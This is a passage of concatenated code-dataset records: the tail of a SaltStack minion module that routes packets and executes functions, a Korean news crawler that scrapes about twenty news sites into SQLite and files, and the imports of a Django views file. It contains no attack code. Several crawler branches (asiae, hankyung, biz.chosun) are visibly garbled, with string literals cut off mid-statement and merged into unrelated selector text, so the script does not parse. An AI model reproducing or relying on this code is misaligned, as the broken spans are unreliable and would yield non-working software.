pass\nlog = logging.getLogger(__name__)\n\n\nclass RouterMinion(ioflo.base.deeding.Deed): # pylint: disable=W0232\n '''\n Route packaets from raet into minion proessing bins\n '''\n Ioinits = {'opts': '.salt.opts',\n 'udp_stack': '.raet.udp.stack.stack',\n 'uxd_stack': '.salt.uxd.stack.stack',\n 'fun_in': '.salt.net.fun_in',\n }\n\n def postinitio(self):\n '''\n Map opts for convenience\n '''\n self.uxd_stack.value = stacking.StackUxd(\n lanename=self.opts.value['id'],\n yid=0,\n dirpath=self.opts.value['sock_dir'])\n self.fun_in.value = deque()\n\n def action(self):\n '''\n Empty the queues into process management queues\n '''\n # Start on the udp_in:\n # TODO: Route UXD messages\n while self.udp_stack.value.rxMsgs:\n data = self.udp_stack.value.rxMsgs.popleft()\n if data['route']['dst'][2] == 'fun':\n self.fun_in.value.append(data)\n if data['route']['dst'][1] is not None:\n if data['route']['dst'][1] in self.uxd_stack.value.yards:\n self.uxd_stack.value.transmit(data, data['route']['dst'][1])\n self.uxd_stack.value.serviceAll()\n while self.uxd_stack.value.rxMsgs:\n msg = self.uxd_stack.value.rxMsgs.popleft()\n estate = msg['route']['dst'][0]\n if estate is not None:\n if estate != self.opts.value['id']:\n self.udp_stack.value.message(\n msg,\n self.udp_stack.value.eids[estate])\n\n\nclass ModulesLoad(ioflo.base.deeding.Deed): # pylint: disable=W0232\n '''\n Reload the minion modules\n '''\n Ioinits = {'opts_store': '.salt.opts',\n 'grains': '.salt.loader.grains',\n 'modules': '.salt.loader.modules',\n 'returners': '.salt.loader.returners'}\n\n def postinitio(self):\n '''\n Map opts for convenience\n '''\n self.opts = self.opts_store.value\n\n def action(self):\n '''\n Return the functions and the returners loaded up from the loader\n module\n '''\n # if this is a *nix system AND modules_max_memory is set, lets enforce\n # a memory limit on module imports\n # this feature ONLY works on *nix like OSs (resource module doesn't work on windows)\n modules_max_memory = False\n if self.opts.get('modules_max_memory', -1) > 0 and HAS_PSUTIL and HAS_RESOURCE:\n log.debug(\n 'modules_max_memory set, enforcing a maximum of {0}'.format(\n self.opts['modules_max_memory'])\n )\n modules_max_memory = True\n old_mem_limit = resource.getrlimit(resource.RLIMIT_AS)\n rss, vms = psutil.Process(os.getpid()).get_memory_info()\n mem_limit = rss + vms + self.opts['modules_max_memory']\n resource.setrlimit(resource.RLIMIT_AS, (mem_limit, mem_limit))\n elif self.opts.get('modules_max_memory', -1) > 0:\n if not HAS_PSUTIL:\n log.error('Unable to enforce modules_max_memory because psutil is missing')\n if not HAS_RESOURCE:\n log.error('Unable to enforce modules_max_memory because resource is missing')\n\n self.opts['grains'] = salt.loader.grains(self.opts)\n self.grains.value = self.opts['grains']\n self.modules.value = salt.loader.minion_mods(self.opts)\n self.returners.value = salt.loader.returners(self.opts, self.modules.value)\n\n # we're done, reset the limits!\n if modules_max_memory is True:\n resource.setrlimit(resource.RLIMIT_AS, old_mem_limit)\n\n\nclass Schedule(ioflo.base.deeding.Deed): # pylint: disable=W0232\n '''\n Evaluates the scedule\n '''\n Ioinits = {'opts_store': '.salt.opts',\n 'grains': '.salt.grains',\n 'modules': '.salt.loader.modules',\n 'returners': '.salt.loader.returners',\n 'master_ret': '.salt.net.master_out'}\n\n def postinitio(self):\n '''\n Map opts and make the scedule object\n '''\n self.scedule = salt.utils.schedule.Schedule(\n self.opts.value,\n self.modules.value,\n self.returners.value)\n\n def action(self):\n '''\n Eval the schedule\n '''\n self.scedule.eval()\n\n\nclass FunctionNix(ioflo.base.deeding.Deed): # pylint: disable=W0232\n '''\n Execute a function call\n '''\n Ioinits = {'opts_store': '.salt.opts',\n 'grains': '.salt.grains',\n 'modules': '.salt.loader.modules',\n 'returners': '.salt.loader.returners',\n 'fun_ack': '.salt.net.fun_ack',\n 'fun_in': '.salt.net.fun_in',\n 'master_ret': '.salt.net.master_out',\n 'uxd_stack': '.salt.uxd.stack.stack',\n 'executors': '.salt.track.executors'}\n\n def postinitio(self):\n '''\n Map opts for convenience\n '''\n self.opts = self.opts_store.value\n self.matcher = salt.minion.Matcher(\n self.opts,\n self.modules.value)\n self.proc_dir = salt.minion.get_proc_dir(self.opts['cachedir'])\n self.serial = salt.payload.Serial(self.opts)\n self.executors.value = {}\n\n def _return_pub(self, ret):\n '''\n Send the return data back via the uxd socket\n '''\n ret_stack = stacking.StackUxd(\n lanename=self.opts['id'],\n yid=ret['jid'],\n dirpath=self.opts['sock_dir'])\n main_yard = yarding.Yard(\n yid=0,\n prefix=self.opts['id'],\n dirpath=self.opts['sock_dir']\n )\n ret_stack.addRemoteYard(main_yard)\n route = {'src': (self.opts['id'], ret_stack.yard.name, 'jid_ret'),\n 'dst': ('master', None, 'return')}\n msg = {'route': route, 'return': ret}\n ret_stack.transmit(msg, 'yard0')\n ret_stack.serviceAll()\n\n def action(self):\n '''\n Pull the queue for functions to execute\n '''\n if not self.fun_in.value:\n return\n exchange = self.fun_in.value.popleft()\n data = exchange.get('pub')\n # convert top raw strings - take this out once raet is using msgpack\n for key, val in data.items():\n if isinstance(val, basestring):\n data[str(key)] = str(val)\n else:\n data[str(key)] = val\n match = getattr(\n self.matcher,\n '{0}_match'.format(\n data.get('tgt_type', 'glob')\n )\n )(data['tgt'])\n if not match:\n return\n if 'user' in data:\n log.info(\n 'User {0[user]} Executing command {0[fun]} with jid '\n '{0[jid]}'.format(data))\n else:\n log.info(\n 'Executing command {0[fun]} with jid {0[jid]}'.format(data)\n )\n log.debug('Command details {0}'.format(data))\n ex_yard = yarding.Yard(\n yid=data['jid'],\n prefix=self.opts['id'],\n dirpath=self.opts['sock_dir'])\n self.uxd_stack.value.addRemoteYard(ex_yard)\n process = multiprocessing.Process(\n target=self.proc_run,\n kwargs={'exchange': exchange}\n )\n process.start() # Don't join this process! The process daemonizes\n # itself and init will clean it up\n\n def proc_run(self, exchange):\n '''\n Execute the run in a dedicated process\n '''\n data = exchange['pub']\n fn_ = os.path.join(self.proc_dir, data['jid'])\n self.opts['__ex_id'] = data['jid']\n salt.utils.daemonize_if(self.opts)\n sdata = {'pid': os.getpid()}\n sdata.update(data)\n with salt.utils.fopen(fn_, 'w+') as fp_:\n fp_.write(self.serial.dumps(sdata))\n ret = {'success': False}\n function_name = data['fun']\n if function_name in self.modules.value:\n try:\n func = self.modules.value[data['fun']]\n args, kwargs = salt.minion.parse_args_and_kwargs(func, data['arg'], data)\n sys.modules[func.__module__].__context__['retcode'] = 0\n return_data = func(*args, **kwargs)\n if isinstance(return_data, types.GeneratorType):\n ind = 0\n iret = {}\n for single in return_data:\n if isinstance(single, dict) and isinstance(iret, list):\n iret.update(single)\n else:\n if not iret:\n iret = []\n iret.append(single)\n tag = salt.utils.event.tagify(\n [data['jid'], 'prog', self.opts['id'], str(ind)],\n 'job')\n event_data = {'return': single}\n self._fire_master(event_data, tag) # Need to look into this\n ind += 1\n ret['return'] = iret\n else:\n ret['return'] = return_data\n ret['retcode'] = sys.modules[func.__module__].__context__.get(\n 'retcode',\n 0\n )\n ret['success'] = True\n except CommandNotFoundError as exc:\n msg = 'Command required for {0!r} not found'.format(\n function_name\n )\n log.debug(msg, exc_info=True)\n ret['return'] = '{0}: {1}'.format(msg, exc)\n except CommandExecutionError as exc:\n log.error(\n 'A command in {0!r} had a problem: {1}'.format(\n function_name,\n exc\n ),\n exc_info=log.isEnabledFor(logging.DEBUG)\n )\n ret['return'] = 'ERROR: {0}'.format(exc)\n except SaltInvocationError as exc:\n log.error(\n 'Problem executing {0!r}: {1}'.format(\n function_name,\n exc\n ),\n exc_info=log.isEnabledFor(logging.DEBUG)\n )\n ret['return'] = 'ERROR executing {0!r}: {1}'.format(\n function_name, exc\n )\n except TypeError as exc:\n aspec = salt.utils.get_function_argspec(\n self.modules.value[data['fun']]\n )\n msg = ('TypeError encountered executing {0}: {1}. See '\n 'debug log for more info. Possibly a missing '\n 'arguments issue: {2}').format(function_name,\n exc,\n aspec)\n log.warning(msg, exc_info=log.isEnabledFor(logging.DEBUG))\n ret['return'] = msg\n except Exception:\n msg = 'The minion function caused an exception'\n log.warning(msg, exc_info=log.isEnabledFor(logging.DEBUG))\n ret['return'] = '{0}: {1}'.format(msg, traceback.format_exc())\n else:\n ret['return'] = '{0!r} is not available.'.format(function_name)\n\n ret['jid'] = data['jid']\n ret['fun'] = data['fun']\n ret['fun_args'] = data['arg']\n self._return_pub(ret)\n if data['ret']:\n ret['id'] = self.opts['id']\n for returner in set(data['ret'].split(',')):\n try:\n self.returners.value['{0}.returner'.format(\n returner\n )](ret)\n except Exception as exc:\n log.error(\n 'The return failed for job {0} {1}'.format(\n data['jid'],\n exc\n )\n )\n","sub_path":"salt/daemons/flo/minion.py","file_name":"minion.py","file_ext":"py","file_size_in_byte":13192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"186508966","text":"#news contents crawler\n\nimport sqlite3\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\nfrom bs4 import NavigableString\nfrom urllib.parse import urlparse\nfrom urllib.parse import parse_qs\nimport httputil\nimport io\nimport chardet\nimport pprint\n\n\nconn = sqlite3.connect(\"articles.sqlite3\")\n\ncur = conn.cursor()\ncur.execute(\"SELECT * FROM article_title where (is_downloaded = 0 or is_downloaded is null)\")\n\nnext = True\nfor row in cur.fetchall():\n aid = None\n oid = None\n\n news_url = row[1]\n url_qry = None\n if '?' in row[1] :\n url_qry = parse_qs(row[1].split('?')[1])\n else :\n #parse_qs로 파싱이 안되는 경우\n try:\n params_str = str(row[1]).split('?')[1].split(\"&\")\n except IndexError as e:\n params_str = [str(row[1]).split('/')[-1] ]\n\n if not url_qry is None:\n if not url_qry.get('oid') == None:\n oid = url_qry.get('oid')[0]\n aid = url_qry.get('aid')[0]\n\n news_site = None\n dir_postfix = None\n #네이버 뉴스 링크가 아닌 경우\n if aid == None or oid == None :\n o = urlparse(row[1])\n if o.hostname == 'www.gjdream.com' :\n # 광주드림 뉴스\n news_site = \"gjdream\"\n #http://www.gjdream.com/v2/news/view.html?news_type=201&uid=480802\n dir_postfix=\"gjdream_\" + url_qry.get('news_type')[0] + \"_\" + url_qry.get('uid')[0] + \".news\"\n elif o.hostname == 'news1.kr':\n #뉴스1\n news_site = \"news1\"\n # http://news1.kr/articles/?3023732\n dir_postfix = \"news1_\" + params_str[0] + \".news\"\n elif o.hostname == 'view.asiae.co.kr' or o.hostname == 'www.asiae.co.kr' :\n #아시아경제\n news_site = \"asiae\"\n #http://view.asiae.co.kr/news/view.htm?idxno=2017061813385889015\n #http://www.asiae.co.kr/uhtml/read.jsp?idxno=181892&ion=S1N53&ion2=S2N213\n dir_postfix = news_site + \"_\" + url_qry.get('idxno')[0] + \".news\"\n\n elif o.hostname == 'news.heraldcorp.com':\n # 헤럴드경제\n news_site = \"heraldcorp\"\n # http://news.heraldcorp.com/village/view.php?ud=201706141855012313875_12\n dir_postfix = \"heraldcorp_\" + url_qry.get('ud')[0] + \".news\"\n elif o.hostname == 'www.mt.co.kr':\n # 머니투데이\n news_site = \"mt\"\n # http://www.mt.co.kr/view/mtview.php?type=1&no=2017060815500512576&outlink=1\n dir_postfix = news_site + \"_\" + url_qry.get('no')[0] + \".news\"\n\n elif o.hostname == 'www.newsis.com':\n # 뉴시스\n news_site = \"newsis\"\n # http://www.newsis.com/view/?id=NISX20170615_0000013759&cID=10812&pID=10800\n dir_postfix = news_site + \"_\" + url_qry.get('id')[0] + \".news\"\n\n elif o.hostname == 'www.edaily.co.kr':\n # 이데일리\n news_site = \"edaily\"\n # http://www.edaily.co.kr/news/newspath.asp?newsid=04391926615962048\n if not url_qry.get('newsid') == None :\n dir_postfix = news_site + \"_\" + url_qry.get('newsid')[0] + \".news\"\n #http://www.edaily.co.kr/news/related_article.edy?uid=1175703&mcd=01\n elif not url_qry.get('uid') == None:\n dir_postfix = news_site + \"_\"+ url_qry.get('uid')[0] +\"_\" + url_qry.get('mcd')[0] + \".news\"\n\n elif o.hostname == 'news.mk.co.kr':\n # 매경\n news_site = \"mk\"\n # http://news.mk.co.kr/newsRead.php?&year=2017&no=357698\n dir_postfix = news_site + \"_\" + url_qry.get('year')[0] + \"_\" + url_qry.get('no')[0] + \".news\"\n\n elif o.hostname == 'www.fnnews.com':\n # 파이낸셜뉴스\n news_site = \"fnnews\"\n # http://www.fnnews.com/news/201705312021291702\n dir_postfix = news_site + \"_\" + params_str[0] + \".news\"\n\n elif o.hostname == 'www.hankyung.com':\n # 한국경제\n news_site = \"hankyung\"\n # http://www.hankyung.com/news/app/newsview.php?aid=2017053129361\n dir_postfix = news_site + \"_\" + url_qry.get('aid')[0] + \".news\"\n\n elif o.hostname == 'www.newspim.com':\n # newspim\n news_site = \"newspim\"\n # http://www.newspim.com/sub_view.php?cate1=3&cate2=6&news_id=100534\n if not url_qry is None and not url_qry.get('cate1') is None :\n dir_postfix = news_site + \"_\" + url_qry.get('cate1')[0] +\"_\" + url_qry.get('cate2')[0] + \"_\" + url_qry.get('news_id')[0] + \".news\"\n news_url = \"http://www.newspim.com/news/view/\" + url_qry.get('news_id')[0]\n elif not url_qry is None:\n dir_postfix = news_site + \"_\" + url_qry.get('newsId')[0] + \".news\"\n news_url = \"http://www.newspim.com/news/view/\" + url_qry.get('newsId')[0]\n else:\n # http://www.newspim.com/news/view/20151211000469 형태이므로 url을 수정하지 않는다.\n dir_postfix = news_site + \"_\" + news_url.split('/')[-1] + \".news\"\n\n\n\n\n\n\n elif o.hostname == 'www.etoday.co.kr':\n # etoday\n news_site = \"etoday\"\n # http://www.etoday.co.kr/news/section/newsview.php?TM=news&SM=0404&idxno=308376\n # http://www.etoday.co.kr/news/section/newsview.php?idxno=637504\n if url_qry.get('TM') is None:\n dir_postfix = news_site + \"_\" + url_qry.get('idxno')[0] + \".news\"\n else:\n dir_postfix = news_site + \"_\" + url_qry.get('TM')[0] +\"_\" + url_qry.get('SM')[0] + \"_\" + url_qry.get('idxno')[0] + \".news\"\n\n\n elif o.hostname == 'app.yonhapnews.co.kr':\n # 연합뉴스\n news_site = \"yonhapnews\"\n # http://app.yonhapnews.co.kr/YNA/Basic/SNS/r.aspx?c=AKR20170606076600002&did=1195m\n dir_postfix = news_site + \"_\" + url_qry.get('c')[0] + \".news\"\n\n elif o.hostname == 'biz.chosun.com':\n # 비즈조선\n news_site = \"biz.chosun\"\n # http://biz.chosun.com/site/data/html_dir/2011/07/14/2011071401906.html\n dir_postfix = news_site + \"_\" + row[1].split('html_dir/')[1][:-5].replace('/','_') + \".news\"\n\n elif o.hostname == 'www.ajunews.com':\n # 아주경제\n news_site = \"ajunews\"\n # http://www.ajunews.com/view/20170618121755955\n if not url_qry is None :\n dir_postfix = news_site + \"_\" + url_qry.get(\"newsId\")[0] + \".news\"\n else:\n dir_postfix = news_site + \"_\" + row[1].split('/')[-1] + \".news\"\n\n elif o.hostname == 'www.thebell.co.kr':\n # 더벨\n news_site = \"thebell\"\n # http://www.thebell.co.kr/front/free/contents/article_view.asp?key=201309060100009530000521\n dir_postfix = news_site + \"_\" + url_qry.get(\"key\")[0] + \".news\"\n\n elif o.hostname == 'www.seoulfn.com':\n # 서울파이낸스\n news_site = \"seoulfn\"\n # http://www.seoulfn.com/news/articleView.html?idxno=39351&ion=section4\n dir_postfix = news_site + \"_\" + url_qry.get(\"idxno\")[0] + \".news\"\n\n elif o.hostname == 'www.segye.com':\n # 세계일보\n news_site = \"segye\"\n # http://www.segye.com/Service5/ShellView.asp?TreeID=1052&PCode=0007&DataID=200603011617000176\n dir_postfix = news_site + \"_\" + url_qry.get(\"idxno\")[0] + \".news\"\n\n\n else :\n print(\"Unknown news site. FATAL ERROR ===> %s\" % row[1])\n # 예외는 패스한다.\n continue\n exit(-1)\n else :\n news_site = \"naver\"\n dir_postfix = oid + \"_\" + aid + \".news\"\n\n\n # 파일을 다운로드 합시다!\n print(\"Try downloading %s\" %( dir_postfix ))\n\n # 파일을 다 읽고나서 존재여부를 체크하는것보다 로컬에서 먼저 검색하고나서 체크하는 것이 효율적인듯 하다.\n for root, dirs, files in os.walk(\"articles\"):\n for file in files:\n if str(file) == dir_postfix:\n if os.stat(str(os.path.join(root, file))).st_size > 0 : #파일 사이즈가 0보다 크면\n print(\"File is alread exists : %s \" % str(os.path.join(root, file)))\n print(\"SKIP\")\n qry = \"UPDATE article_title set is_downloaded = 1 where id = %d ;\" % row[0]\n cur.execute(qry)\n conn.commit()\n continue\n\n try:\n res = requests.get(news_url)\n except requests.exceptions.TooManyRedirects as e:\n res = None\n except requests.exceptions.ConnectionError as ce:\n print(\"Connection aborted. : %s\" % news_url)\n continue\n\n\n return_val = 1\n\n if news_site == \"naver\":\n if res.url.startswith('http://sports') : # 스포츠뉴스는 거른다.\n return_val = 2\n else:\n bs = BeautifulSoup(res.text, 'lxml')\n\n if len(bs.select(\"h2.end_tit\")) > 0 :\n # 연예면 기사의 경우 형식이 조금 다르다\n title = bs.select(\"h2.end_tit\")[0].text\n base_dtm = bs.select(\"div#content > div.end_ct > div > div.article_info > span > em\")[0].text.replace('.', '-')\n contents = bs.select(\"div#articeBody\")[0].text\n elif len(bs.select(\"#main_content > div > div > h1.error_title\")) > 0 :\n #news not found\n return_val= 3\n else :\n title = bs.select(\"h3#articleTitle\")[0].text\n base_dtm = bs.select(\"div.sponsor > span.t11\")[0].text\n contents = bs.select(\"div#articleBodyContents\")[0].text\n\n elif news_site == \"gjdream\":\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"table > tr > td > font\")[0].text\n base_dtm = bs.select(\"table > tr > td.f5\")[1].text.split(' : ')[1].strip()\n contents = \"\"\n\n for elmnt in bs.select(\"div#content\")[0].contents:\n if type(elmnt) == NavigableString:\n if str(elmnt).strip() != '':\n contents += str(elmnt).strip() + \"\\n\"\n\n elif news_site == \"news1\":\n bs = BeautifulSoup(res.text, 'html.parser')\n try:\n title = bs.select(\"div.title > h2\")[0].text\n lst_base_dtm = bs.select(\"div.info\")[0].contents[-1].strip().split(' ')[0:2]\n base_dtm = lst_base_dtm[0] + \" \" + lst_base_dtm[1]\n contents = \"\"\n\n for elmnt in bs.select(\"div#articles_detail\")[0].contents:\n if type(elmnt) == NavigableString:\n if str(elmnt).strip() != '':\n contents += str(elmnt).strip() + \"\\n\"\n except IndexError as e :\n if not \"http404\" in bs.select(\"img#img\")[0].attrs[\"src\"]:\n #page not found\n continue\n\n\n elif news_site == 'asiae':\n if res.text.startswith(' h1\")[0].text\n #

    최종수정 2017.06.18 13:39\n #기사입력 2017.06.18 13:39

    \n base_dtm = str(bs.select(\"div.area_title > p\")[0].contents[-1]).strip().replace('.','-')\n contents = bs.select(\"div.article > div\")[0].text\n\n elif news_site == 'heraldcorp':\n text = res.text\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"div.view_top_t2 > ul > li > h1\")[0].text\n\n raw_base_dtm = bs.select(\"div.view_top_t2 > ul > li.ellipsis\")[0].contents[0]\n if str(raw_base_dtm).startswith('기사입력 ') :\n raw_base_dtm= str(raw_base_dtm)[5:].strip()\n base_dtm = raw_base_dtm\n\n contents = \"\"\n for elmnt in bs.select(\"#articleText\")[0].contents:\n if type(elmnt) == NavigableString:\n if str(elmnt).strip() != '':\n contents += str(elmnt).strip() + \"\\n\"\n\n elif news_site == 'mt':\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n try:\n title = bs.select(\"div#article > h1\")[0].text\n\n base_dtm = bs.select(\"span.num\")[0].text[2:].replace('.','-')\n contents = bs.select(\"div#textBody\")[0].text\n except IndexError as e:\n #다른 페이지로 이동하게 되는 경우이다. 왜이리 번거롭게 만들어놨냐\n #\n next_url = bs.contents[0].text.split('\"')[1]\n res = requests.get(next_url)\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"div#article > h1\")[0].text\n try:\n base_dtm = bs.select(\"span.date\")[0].text.replace('.','-')\n except IndexError as e2:\n base_dtm = bs.select(\"span.num\")[0].text[2:].replace('.','-')\n contents = bs.select(\"div#textBody\")[0].text\n\n\n elif news_site == 'newsis':\n text = res.text\n bs = BeautifulSoup(text, 'html.parser')\n try:\n title = bs.select(\"div.article_tbx > h1\")[0].text\n\n base_dtm = bs.select(\"div.date\")[0].text[3:]\n contents = bs.select(\"div.article_bx > div.view_text > div#textBody\")[0].text\n except IndexError as e :\n if \"GISA FILE NOT EXISTS\" in bs.select(\"p.mgt18\")[0].text:\n #기사가 삭제됨\n print(\"Article was deleted.\")\n continue\n\n elif news_site == 'edaily':\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n if bs.select('div#viewarea > h4'):\n title = bs.select(\"div#viewarea > h4\")[0].text\n\n base_dtm = bs.select(\"div#viewarea > div.pr > p.newsdate\")[0].text.split('|')[1].replace('.','-').strip()\n contents = bs.select(\"span#viewcontent_inner\")[0].text.encode('utf-8','ignore').decode('utf-8') #깨진문자가 있다면 이과정에서 무시된다.\n elif len(bs.select(\"div.left > p > a > img\")) > 0:\n # 사진 기사\n \"\"\"\"\"\"\n return_val =2\n elif len(bs.select('h4.newstitle')) > 0 :\n title = bs.select(\"h4.newstitle\")[0].text\n\n base_dtm = bs.select(\"p.newsdate\")[0].text.split('|')[1].replace('.','-').strip()\n contents = bs.select(\"span#viewcontent_inner\")[0].text\n\n\n elif news_site == 'mk':\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"div#top_header > div > div > h1\")[0].text\n\n base_dtm = bs.select(\"div#top_header > div > div > div.news_title_author > ul > li.lasttime\")[0].text.split(' :')[1].strip().replace('.','-')\n contents = bs.select(\"div#article_body\")[0].text\n\n elif news_site == 'fnnews':# finanncial news\n text = res.text\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"div#container > div > div.article_head > h1\")[0].text\n\n base_dtm = bs.select(\"div#container > div > div.article_head > div > em\")[1].text.split(' : ')[1].replace('.','-')\n contents = bs.select(\"div#article_content > div\")[0].text\n\n elif news_site == 'hankyung':# 한국경제\n # 얘네는 응답이 chunked reponse로 온다.\n # 이경우\n # [byte수]\\r\\n\n # 데이터\n # \\r\\n[byte수]\\r\\n\n # 데이터\n # 반복...\n # \\r\\n0\\r\\n\\r\\n\n\n type = None\n if res.text.startswith(' div.artlcle_top > h2.tit')[0].text\n\n base_dtm = bs.select('div#container > div.wrap_container > div > div.info_article > div.date > span')[0].text[3:]\n contents = bs.select('div#newsView')[0].text\n\n elif type == 'hei':\n title = bs.select('div#container > section > h1')[0].text\n base_dtm = bs.select('div#container > section > div > div.atc-info > span')[0].text[3:]\n\n contents = bs.select('article#newsView')[0].text\n elif type == 'plus':\n title = bs.select('section#container > section.service_cnt > article > article > header > h2')[0].text\n base_dtm = bs.select('section#container > section.service_cnt > article > article > p.info > span')[1].text\n\n contents = bs.select('div.articleContent')[0].text\n\n elif news_site == 'newspim':# newspim\n if not res is None :\n text = res.text\n\n if '/anda/view' in text:\n return_val = 2 # no need to download, premium news\n elif \"document.location.href='/';\" in text:\n return_val = 2 # article is not exists\n else :\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"div.bodynews_title > h1\")[0].text\n\n base_dtm = bs.select(\"div.bodynews_title > ul > li.writetime\")[0].text.split(' : ')[1].replace('년','-').replace('월','-').replace('일','')\n contents = bs.select(\"div#news_contents\")[0].text\n else:\n # 404 not found\n return_val = 3\n\n elif news_site == 'etoday':# etoday\n text = res.text\n if '뉴스가 존재하지 않습니다' in text:\n return_val = 3\n else:\n try:\n bs = BeautifulSoup(text, 'lxml')\n title = bs.select(\"#article_title\")[0].text\n\n base_dtm = bs.select(\"#ViewHeader > div.byline > em\")[0].text.split(' : ')[1]\n if len(bs.select(\"#newsContent\")) > 0 :\n contents = bs.select(\"#newsContent\")[0].text.strip()\n else:\n contents = bs.select(\"#block_body > div > div > div.cont_left_article\")[0].text.strip()\n except:\n # 일단 패스\n continue\n\n elif news_site == 'yonhapnews':#yonhapnews\n if '/photos/' in res.url: #사진 기사일경우 스크랩하지 않는다.\n return_val = 2\n else:\n text = res.content.decode()\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"#articleWrap > h1\")[0].text\n\n base_dtm = bs.select(\"div.share-info > span > em\")[0].text.replace('/','-')\n contents = bs.select(\"#articleWrap > div.article\")[0].text\n\n elif news_site == 'biz.chosun':# biz chosun\n if res.text.startswith('\n next_url = res.text.split('url=')[1][:-3]\n res = requests.get(next_url)\n text =res.content.decode()\n bs = BeautifulSoup(text, 'html.parser')\n title = bs.select(\"#title_text\")[0].text\n\n base_dtm = bs.select(\"span.date_text\")[0].text.split(' : ')[1].strip().replace('.','-')\n contents = bs.select(\"#par\")[0].text\n\n else :\n text =res.content.decode()\n bs = BeautifulSoup(text, 'html.parser')\n\n if bs.select('head > title')[0].text == '404 Not Found':\n return_val = 3\n\n else:\n title = bs.select(\"#title_text\")[0].text\n base_dtm = bs.select(\"#date_text\")[0].text.split(' : ')[1].strip().replace('.','-')\n contents = bs.select(\"#article_2011\")[0].text\n\n elif news_site == 'ajunews': # ajunews\n text = res.text\n bs = BeautifulSoup(text, 'html.parser')\n\n if len(bs.select('body > div > div.etc-body > div.etc-url-error-desc > div')) > 0 :\n # 페이지를 찾을 수 없음\n return_val = 3\n else:\n try:\n title = bs.select(\"div.ma680-0001-head-block > h2\")[0].text.strip()\n base_dtm = bs.select(\"li.regi_date.cus\")[0].text.split(' : ')[1]\n if len(bs.select(\"#articleBody > div\")) > 0 :\n contents = bs.select(\"#articleBody > div\")[0].text.strip()\n elif len(bs.select(\"#articleBody\")) > 0 :\n contents = bs.select(\"#articleBody\")[0].text.strip()\n except :\n continue\n\n elif news_site == 'thebell':\n # http://www.thebell.co.kr/front/free/contents/news/article_view.asp?svccode=&page=1&sort=thebell_check_time&key=201309060100009530000521\n next_url = 'http://www.thebell.co.kr/front/free/contents/news/article_view.asp?svccode=&page=1&sort=thebell_check_time&key=' + url_qry.get('key')[0]\n res = requests.get(next_url)\n\n text = res.text\n bs = BeautifulSoup(text, 'html.parser')\n if len( bs.select(\"#article_main > span > b\")) > 0 and '유료' in bs.select(\"#article_main > span > b\")[0].text:\n return_val = 3 # no need to downlaod\n else:\n title = bs.select(\"li.title > h1\")[0].text.strip()\n base_dtm = bs.select(\"div.title_bar > ul > li.left\")[0].text.split('공개 ')[-1]\n contents = bs.select(\"#article_main\")[0].text.strip()\n\n elif news_site == 'seoulfn':\n # http://www.seoulfn.com/news/articleView.html?idxno=39351&ion=section4\n text = res.text.encode('latin-1').decode('cp949')\n bs = BeautifulSoup(text, 'html.parser')\n if len(bs.select(\"td > b\"))>0 and bs.select(\"td > b\")[0].text.startswith('존재하지') :\n return_val = 3\n elif len(bs.select(\"div.phtit\")) > 0 :\n #photo news\n return_val = 2\n else:\n title = bs.select(\"#font_title\")[0].text.strip()\n base_dtm = bs.select(\"#font_date > span\")[0].text.strip()[:20].replace('  ',' ')#space 아님\n contents = bs.select(\"#CmAdContent\")[0].text.strip()\n\n\n else:\n print(\"Unknown news site. FATAL ERROR\")\n exit(-1)\n\n if return_val == 1:\n sub_dir = base_dtm[0:4]\n if not os.path.isdir(\"articles/\" + sub_dir):\n os.mkdir(\"articles/\" + sub_dir)\n dest_file = \"articles/\" + sub_dir + \"/\" + dir_postfix\n\n if not os.path.isfile(dest_file) or ( os.path.isfile(dest_file) and os.stat(dest_file).st_size == 0 ):\n f = open(dest_file,'w',encoding=\"utf-8\")\n f.write(title+\"\\n\"+ base_dtm+\"\\n\"+ contents)\n f.close()\n\n # is_downloaeded\n # 0: not downloaded\n # 1: downloaeded\n # 2: not need to download\n # 3: 404 not found\n qry = \"UPDATE article_title set is_downloaded = %d where id = %d ;\" % (return_val, row[0])\n cur.execute(qry)\n conn.commit()\n else:\n # is_downloaeded\n # 0: not downloaded\n # 1: downloaeded\n # 2: not need to download\n # 3: 404 not found\n qry = \"UPDATE article_title set is_downloaded = %d where id = %d ;\" % (return_val, row[0])\n cur.execute(qry)\n conn.commit()\n\n\n\n\n\n\n\n","sub_path":"2_ncc.py","file_name":"2_ncc.py","file_ext":"py","file_size_in_byte":24192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"60165319","text":"from datetime import datetime\n\nfrom django.conf import settings\nfrom django.core.files.storage import default_storage\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import generics, status\nfrom rest_framework.decorators import action, detail_route, permission_classes,list_route\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.mixins import UpdateModelMixin\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.parsers import FormParser, JSONParser, MultiPartParser\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom mrelife.commons.common_fnc import CommonFuntion\nfrom mrelife.events.models import Event, EventModelHouse\nfrom mrelife.modelhouses.models import (\n ModelHouse,\n ModelHouseMedia,\n ModelHouseOutletStore,\n ModelHouseTag,\n ModelHouseUser,\n OrderModelHouse\n)\nfrom mrelife.modelhouses.serializers import (\n ModelHouseNestedSerializer,\n ModelHouseSerializer,\n OrderModelHouseSerializer,\n OrderModelHouseStatusSerializer\n)\nfrom mrelife.outletstores.models import OutletStore\nfrom mrelife.tags.models import Tag\nfrom mrelife.utils.groups import GroupUser, IsAdmin, IsStore, IsSub\nfrom mrelife.utils.model_house_permission import ModelHousePermission\nfrom mrelife.utils.order_model_house_permission import OrderMHUserListPermission, OrderMHViewadminPermission\nfrom mrelife.utils.querys import get_or_none\nfrom 